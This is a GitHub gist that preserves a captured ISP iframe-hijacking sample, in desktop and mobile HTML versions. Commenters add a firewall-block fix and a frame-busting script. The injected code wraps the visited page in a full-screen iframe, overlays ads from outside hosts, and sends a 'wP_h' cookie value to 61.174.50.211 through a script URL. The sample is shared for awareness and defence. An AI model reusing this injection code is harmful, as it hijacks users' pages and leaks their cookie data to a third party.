Created
January 24, 2017 02:56
-
-
Save Xarrow/7c893074750d8ce490e60cc2092a9644 to your computer and use it in GitHub Desktop.
江苏电信iframe劫持样本
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!--PC端--> | |
<html> | |
<head> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
<style> | |
body { | |
margin: 0; | |
color: #000; | |
overflow: hidden; | |
padding: 0; | |
height: 100%; | |
font-family: Arial | |
} | |
#i { | |
display: block; | |
position: absolute; | |
z-index: 1; | |
width: 100%; | |
height: 100% | |
} | |
</style> | |
<script src="//cdn.bootcss.com/jquery/3.1.1/jquery.min.js"></script> | |
</head> | |
<body></body> | |
<body onload="a7.u()"> | |
<div id="lovexin15" | |
style="display: block; position: fixed; z-index: 2; right: 0px; bottom: 0px; width: 100%; height: 47px;"> | |
<!--iframe--> | |
<iframe id="ad_iframe" width="100%" height="47px" scrolling="no" | |
src="http://61.174.50.211:8001/tv/tv_ad_mb.php?uid=c48022937d7d2d7b61fbe4efa870b45bb81cca18&tag=114&from=1" | |
frameborder="0"> | |
</iframe> | |
<!--关闭按钮--> | |
<a style="cursor: pointer; display: block; | |
position: absolute; border: 1px; border-radius: 1em; | |
background-color: rgb(255, 255, 255); color: rgb(51, 51, 51); | |
opacity: 0.8; z-index: 3; right: 2px; top: 5%; margin-top: -10px; | |
line-height: 20px; text-align: center; width: 20px; font-size: 14px;">X</a> | |
</div> | |
<div id="i"> | |
<iframe id="m" frameborder="0" width="100%" height="100%" | |
src="http://127.0.0.1:8080/test/test1"> | |
<!--src="http://iliangqunru.com/post/2016/?_t_t_t=0.2881289859424496">--> | |
</iframe> | |
</div> | |
<script> | |
(function (w) { | |
var a7 = w.a7 || {}; | |
var d = document; | |
var mim_c = function (mim_d, mim_f) { | |
var mim_g = mim_f || document.all || document.getElementsByTagName("*"); | |
var mim_f = mim_g[mim_g.length - 1]; | |
mim_f.parentNode.appendChild(mim_d); | |
}; | |
a7.u = function () { | |
//debugger; | |
//获取url | |
var f = d.location.href; | |
//拼接url | |
d.getElementById("m").src = f + (f.indexOf("?") < 0 ? '?' : '&') + '_t_t_t=' + Math.random(); | |
var url = "http://61.174.50.211:8001/tv/adc.php?account=&h"; | |
//分割cookie | |
var uki = d.cookie.split("; "); | |
var wP_h; | |
for (var i = 0; i < uki.length; i++) { | |
var arr = uki[i].split("="); | |
if ("wP_h" == arr[0]) { | |
wP_h = arr[1]; | |
break; | |
} | |
} | |
var nu = url.replace(/&h/, wP_h); | |
var mim_b = document.createElement("script"); | |
mim_b.type = "text/javascript"; | |
mim_b.src = nu; | |
mim_c(mim_b); | |
}; | |
//循环调用 | |
w.a7 = a7; | |
})(window); | |
</script> | |
<script type="text/javascript" | |
src="http://61.174.50.211:8001/tv/adc.php?account=c48022937d7d2d7b61fbe4efa870b45bb81cca18"> | |
</script> | |
</body> | |
</html> | |
<!--移动端--> | |
<html> | |
<head> | |
<meta name="viewport" content="width=device-width, minimum-scale=1.0,maximum-scale=1.0,user-scalable=no"> | |
<title></title> | |
<style>body { | |
margin: 0; | |
color: #000; | |
overflow: hidden; | |
padding: 0; | |
height: 100%; | |
font-family: Arial | |
} | |
a { | |
cursor: pointer; | |
display: block; | |
position: absolute; | |
border: 0px; | |
border-radius: 1em; | |
padding-top: 1px; | |
background-color: #444; | |
color: #fff; | |
opacity: .8; | |
z-index: 3; | |
right: 5px; | |
top: 5px; | |
height: 10px; | |
overflow: hidden; | |
text-align: center; | |
width: 10px; | |
font-size: 8px | |
} | |
#x { | |
position: fixed; | |
z-index: 2; | |
bottom: 2px; | |
width: 100%; | |
height: 60px | |
} | |
#i { | |
display: block; | |
position: absolute; | |
z-index: 1; | |
width: 100%; | |
height: 100% | |
}</style> | |
</head> | |
<body onload="a7.u()"> | |
<div id="i"> | |
<!--<iframe id="m" width="100%" height="100%" frameborder="0"--> | |
<!--src="http://iliangqunru.com/?_t_t_t=0.15875153640601236">--> | |
<!--</iframe>--> | |
<iframe id="m" width="100%" height="100%" frameborder="0" | |
src="https://www.baidu.com/?_t_t_t=0.15875153640601236"> | |
</iframe> | |
</div> | |
<div id="x" style="display: block;"><a onclick="a7.c()">X</a> | |
<iframe id="a" width="100%" height="60" scrolling="no" frameborder="0" | |
src="http://news.766ba.net:6578/ssp/adpv/ad/2/1098/1"> | |
</iframe> | |
</div> | |
<script> | |
(function (w) { | |
var a7 = w.a7 || {}; | |
var d = document; | |
a7.u = function () { | |
var f = d.location.href; | |
var ua = navigator.userAgent.toLowerCase(); | |
var im = d.getElementById("m"); | |
im.src = f + (f.indexOf("?") < 0 ? '?' : '&') + '_t_t_t=' + Math.random(); | |
if (ua.indexOf("iphone") > 0) { | |
im.width = window.innerWidth; | |
im.scrolling = "no"; | |
} | |
}; | |
a7.c = function () { | |
d.getElementById('x').style.display = "none"; | |
}; | |
w.a7 = a7; | |
})(window); | |
</script> | |
<script> | |
function s() { | |
document.getElementById('x').style.display = 'block'; | |
} | |
setTimeout(function () { | |
document.getElementById('a').src = 'http://news.766ba.net:6578/ssp/adpv/ad/2/1098/1'; | |
}, 500); | |
setTimeout("s()", 1000); | |
</script> | |
</body> | |
</html> |
我的解决
办法: 添加上面的IP: 61.174.50.211 到你的windows防火墙中, 即可.
步骤: 控制面板---防火墙---高级设置---出站规则---右击--新建规则---自定义规则---作用域---指定远端IP---填入对应IP---阻止---保存
效果: 遇到被劫持时, 页面空白, 手动刷新即可
其他: 如果用浏览器开启adb, 有类似效果, 但是治标不治本. adb拦截了显示, 但没有拦截后台消息包.
我也遇到相同的问题了, 请问你解决了吗?
可以在你的网站里加上这段js
//iframeKiller
if (self != window.top) {
alert("你的网络可能被运营商劫持!");
console.log("real url: " + self.location.href);
top.location = self.location;
// let d = window.parent.document;
// d.getElementsByTagName("html")[0].remove(d.getElementsByTagName("iframe"));
} else {
document.documentElement.style.display = 'block';
}
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
我也遇到相同的问题了, 请问你解决了吗?